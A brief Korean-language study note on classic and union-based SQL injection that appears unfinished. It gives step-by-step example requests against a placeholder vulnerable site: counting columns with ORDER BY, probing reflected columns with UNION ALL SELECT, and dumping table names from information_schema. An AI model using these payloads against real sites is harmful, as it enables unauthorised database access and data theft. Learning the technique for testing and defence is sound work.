Classic SQLi
Union-based SQLi
[DB종류 발별법]
Oracle
Microsoft
PostgreSQL
MySQL
SQLite
[예제]
' UNION SELECT 1, 1, 1, version_request --
1. 정확한 컬럼 수 찾기
GET <https://my-vulnerable-site.com/product.php?id=1> ORDER BY <X>
# 구문에서 'X'의 숫자를 1씩 늘리면서 시도하면 정확한 열의 수가 일치할 때 HTTP 응답에서 변화를 확인한다.
2. 페이지에서 SQLi에 취약한 영역 찾기
GET <https://my-vulnerable-site.com/product.php?id=1> UNION ALL SELECT 1,2,3,4,5--
# 원본 쿼리가 사용자가 입력한 데이터를 검색한 결과를 나타내는 기능이라면 UNION을 사용하여 추가 쿼리를 실행한 결과까지 응답에 포함
# 열의 개수가 일치하는 경우 숫자 1~5가 각 열에 표시되며 이를 이용해 더 많은 정보를 획득하려면 다음과 같이 사용한다.
# 그 결과로 기존에 "4"가 보이던 위치에서 DB의 테이블 이름이 보이는 것을 확인할 수 있다.
GET <https://my-vulnerable-site.com/product.php?id=1> UNION ALL SELECT 1,2,3,group_concat(table_name),5 FROM information_schema.tables WHERE table_schema = database()--
Error-based SQLi